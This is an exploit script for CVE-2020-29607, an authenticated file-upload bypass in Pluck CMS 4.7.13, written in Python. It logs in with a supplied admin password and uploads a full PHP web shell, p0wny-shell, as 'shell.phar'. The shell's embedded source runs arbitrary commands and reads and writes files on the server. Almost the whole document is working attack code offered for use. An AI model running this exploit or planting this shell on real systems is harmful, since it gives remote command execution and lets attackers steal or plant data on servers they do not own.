# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607
'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
'''
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]
'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(content_len),
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Construct Data:
body = {
'cont1': password,
'bogus': '',
'submit': 'Log in',
}
# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
print('Password incorrect, please try again:')
exit()
else:
print('Authentification was succesfull, uploading webshell')
print('')
'''
Upload Webshell:
'''
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060',
'Connection': 'close',
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell
data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n$stdout = array();\n\nif (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n// pass\n} elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nchdir($match[1]);\n} elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nreturn featureDownload($match[1]);\n} else {\nchdir($cwd);\nexec($cmd, $stdout);\n}\n\nreturn array(\n\"stdout\" => $stdout,\n\"cwd\" => getcwd()\n);\n}\n\nfunction featurePwd() {\nreturn array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\nchdir($cwd);\nif ($type == 'cmd') {\n$cmd = \"compgen -c $fileName\";\n} else {\n$cmd = \"compgen -f $fileName\";\n}\n$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n$files = explode(\"\\n\", shell_exec($cmd));\nreturn array(\n'files' => $files,\n);\n}\n\nfunction featureDownload($filePath) {\n$file = @file_get_contents($filePath);\nif ($file === FALSE) {\nreturn array(\n'stdout' => array('File not found / no read permission.'),\n'cwd' => getcwd()\n);\n} else {\nreturn array(\n'name' => basename($filePath),\n'file' => base64_encode($file)\n);\n}\n}\n\nfunction featureUpload($path, $file, $cwd) {\nchdir($cwd);\n$f = @fopen($path, 'wb');\nif ($f === FALSE) {\nreturn array(\n'stdout' => array('Invalid path / no write permission.'),\n'cwd' => getcwd()\n);\n} else {\nfwrite($f, base64_decode($file));\nfclose($f);\nreturn array(\n'stdout' => array('Done.'),\n'cwd' => getcwd()\n);\n}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n$response = NULL;\n\nswitch ($_GET[\"feature\"]) {\ncase \"shell\":\n$cmd = $_POST['cmd'];\nif (!preg_match('/2>/', $cmd)) {\n$cmd .= ' 2>&1';\n}\n$response = featureShell($cmd, $_POST[\"cwd\"]);\nbreak;\ncase \"pwd\":\n$response = featurePwd();\nbreak;\ncase \"hint\":\n$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\nbreak;\ncase 'upload':\n$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n}\n\nheader(\"Content-Type: application/json\");\necho json_encode($response);\ndie();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n<head>\n<meta charset=\"UTF-8\" />\n<title>p0wny@shell:~#</title>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<style>\nhtml, body {\nmargin: 0;\npadding: 0;\nbackground: #333;\ncolor: #eee;\nfont-family: monospace;\n}\n\n*::-webkit-scrollbar-track {\nborder-radius: 8px;\nbackground-color: #353535;\n}\n\n*::-webkit-scrollbar {\nwidth: 8px;\nheight: 8px;\n}\n\n*::-webkit-scrollbar-thumb {\nborder-radius: 8px;\n-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\nbackground-color: #bcbcbc;\n}\n\n#shell {\nbackground: #222;\nmax-width: 800px;\nmargin: 50px auto 0 auto;\nbox-shadow: 0 0 5px rgba(0, 0, 0, .3);\nfont-size: 10pt;\ndisplay: flex;\nflex-direction: column;\nalign-items: stretch;\n}\n\n#shell-content {\nheight: 500px;\noverflow: auto;\npadding: 5px;\nwhite-space: pre-wrap;\nflex-grow: 1;\n}\n\n#shell-logo {\nfont-weight: bold;\ncolor: #FF4180;\ntext-align: center;\n}\n\n@media (max-width: 991px) {\n#shell-logo {\nfont-size: 6px;\nmargin: -25px 0;\n}\n\nhtml, body, #shell {\nheight: 100%;\nwidth: 100%;\nmax-width: none;\n}\n\n#shell {\nmargin-top: 0;\n}\n}\n\n@media (max-width: 767px) {\n#shell-input {\nflex-direction: column;\n}\n}\n\n@media (max-width: 320px) {\n#shell-logo {\nfont-size: 5px;\n}\n}\n\n.shell-prompt {\nfont-weight: bold;\ncolor: #75DF0B;\n}\n\n.shell-prompt > span {\ncolor: #1BC9E7;\n}\n\n#shell-input {\ndisplay: flex;\nbox-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\nborder-top: rgba(255, 255, 255, .05) solid 1px;\n}\n\n#shell-input > label {\nflex-grow: 0;\ndisplay: block;\npadding: 0 5px;\nheight: 30px;\nline-height: 30px;\n}\n\n#shell-input #shell-cmd {\nheight: 30px;\nline-height: 30px;\nborder: none;\nbackground: transparent;\ncolor: #eee;\nfont-family: monospace;\nfont-size: 10pt;\nwidth: 100%;\nalign-self: center;\n}\n\n#shell-input div {\nflex-grow: 1;\nalign-items: stretch;\n}\n\n#shell-input input {\noutline: none;\n}\n</style>\n\n<script>\nvar CWD = null;\nvar commandHistory = [];\nvar historyPosition = 0;\nvar eShellCmdInput = null;\nvar eShellContent = null;\n\nfunction _insertCommand(command) {\neShellContent.innerHTML += \"\\n\\n\";\neShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\neShellContent.innerHTML += escapeHtml(command);\neShellContent.innerHTML += \"\\n\";\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _insertStdout(stdout) {\neShellContent.innerHTML += escapeHtml(stdout);\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _defer(callback) {\nsetTimeout(callback, 0);\n}\n\nfunction featureShell(command) {\n\n_insertCommand(command);\nif (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\nfeatureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n} else if (/^\\s*clear\\s*$/.test(command)) {\n// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\neShellContent.innerHTML = '';\n} else {\nmakeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\nif (response.hasOwnProperty('file')) {\nfeatureDownload(response.name, response.file)\n} else {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n}\n});\n}\n}\n\nfunction featureHint() {\nif (eShellCmdInput.value.trim().length === 0) return;// field is empty -> nothing to complete\n\nfunction _requestCallback(data) {\nif (data.files.length <= 1) return;// no completion\n\nif (data.files.length === 2) {\nif (type === 'cmd') {\neShellCmdInput.value = data.files[0];\n} else {\nvar currentValue = eShellCmdInput.value;\neShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n}\n} else {\n_insertCommand(eShellCmdInput.value);\n_insertStdout(data.files.join(\"\\n\"));\n}\n}\n\nvar currentCmd = eShellCmdInput.value.split(\" \");\nvar type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\nvar fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\nmakeRequest(\n\"?feature=hint\",\n{\nfilename: fileName,\ncwd: CWD,\ntype: type\n},\n_requestCallback\n);\n\n}\n\nfunction featureDownload(name, file) {\nvar element = document.createElement('a');\nelement.setAttribute('href', 'data:application/octet-stream;base64,' + file);\nelement.setAttribute('download', name);\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.click();\ndocument.body.removeChild(element);\n_insertStdout('Done.');\n}\n\nfunction featureUpload(path) {\nvar element = document.createElement('input');\nelement.setAttribute('type', 'file');\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.addEventListener('change', function () {\nvar promise = getBase64(element.files[0]);\npromise.then(function (file) {\nmakeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n});\n}, function () {\n_insertStdout('An unknown client-side error occurred.');\n});\n});\nelement.click();\ndocument.body.removeChild(element);\n}\n\nfunction getBase64(file, onLoadCallback) {\nreturn new Promise(function(resolve, reject) {\nvar reader = new FileReader();\nreader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\nreader.onerror = reject;\nreader.readAsDataURL(file);\n});\n}\n\nfunction genPrompt(cwd) {\ncwd = cwd || \"~\";\nvar shortCwd = cwd;\nif (cwd.split(\"/\").length > 3) {\nvar splittedCwd = cwd.split(\"/\");\nshortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n}\nreturn \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n}\n\nfunction updateCwd(cwd) {\nif (cwd) {\nCWD = cwd;\n_updatePrompt();\nreturn;\n}\nmakeRequest(\"?feature=pwd\", {}, function(response) {\nCWD = response.cwd;\n_updatePrompt();\n});\n\n}\n\nfunction escapeHtml(string) {\nreturn string\n.replace(/&/g, \"&\")\n.replace(/</g, \"<\")\n.replace(/>/g, \">\");\n}\n\nfunction _updatePrompt() {\nvar eShellPrompt = document.getElementById(\"shell-prompt\");\neShellPrompt.innerHTML = genPrompt(CWD);\n}\n\nfunction _onShellCmdKeyDown(event) {\nswitch (event.key) {\ncase \"Enter\":\nfeatureShell(eShellCmdInput.value);\ninsertToHistory(eShellCmdInput.value);\neShellCmdInput.value = \"\";\nbreak;\ncase \"ArrowUp\":\nif (historyPosition > 0) {\nhistoryPosition--;\neShellCmdInput.blur();\neShellCmdInput.value = commandHistory[historyPosition];\n_defer(function() {\neShellCmdInput.focus();\n});\n}\nbreak;\ncase \"ArrowDown\":\nif (historyPosition >= commandHistory.length) {\nbreak;\n}\nhistoryPosition++;\nif (historyPosition === commandHistory.length) {\neShellCmdInput.value = \"\";\n} else {\neShellCmdInput.blur();\neShellCmdInput.focus();\neShellCmdInput.value = commandHistory[historyPosition];\n}\nbreak;\ncase 'Tab':\nevent.preventDefault();\nfeatureHint();\nbreak;\n}\n}\n\nfunction insertToHistory(cmd) {\ncommandHistory.push(cmd);\nhistoryPosition = commandHistory.length;\n}\n\nfunction makeRequest(url, params, callback) {\nfunction getQueryString() {\nvar a = [];\nfor (var key in params) {\nif (params.hasOwnProperty(key)) {\na.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n}\n}\nreturn a.join(\"&\");\n}\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", url, true);\nxhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\nxhr.onreadystatechange = function() {\nif (xhr.readyState === 4 && xhr.status === 200) {\ntry {\nvar responseJson = JSON.parse(xhr.responseText);\ncallback(responseJson);\n} catch (error) {\nalert(\"Error while parsing response: \" + error);\n}\n}\n};\nxhr.send(getQueryString());\n}\n\ndocument.onclick = function(event) {\nevent = event || window.event;\nvar selection = window.getSelection();\nvar target = event.target || event.srcElement;\n\nif (target.tagName === \"SELECT\") {\nreturn;\n}\n\nif (!selection.toString()) {\neShellCmdInput.focus();\n}\n};\n\nwindow.onload = function() {\neShellCmdInput = document.getElementById(\"shell-cmd\");\neShellContent = document.getElementById(\"shell-content\");\nupdateCwd();\neShellCmdInput.focus();\n};\n</script>\n</head>\n\n<body>\n<div id=\"shell\">\n<pre id=\"shell-content\">\n<div id=\"shell-logo\">\n___ ______ ___ <span></span>\n _ __/ _ \\_____ ___ _/ __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_.._|<span></span>\n| |_) | |_| |\\ VV /| | | | |_| | | (_| \\__ \\ | | |__/ | |_ |__|<span></span>\n| .__/ \\___/\\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)|_||_|<span></span>\n|_| |___/\\____/<span></span>\n</div>\n</pre>\n<div id=\"shell-input\">\n<label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n<div>\n<input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n</div>\n</div>\n</div>\n</body>\n\n</html>\n\r\n-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload\r\n-----------------------------5170699732428994785525662060--\r\n"
# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'
upload = requests.post(link_upload, headers=header, data=data)
'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')
print('')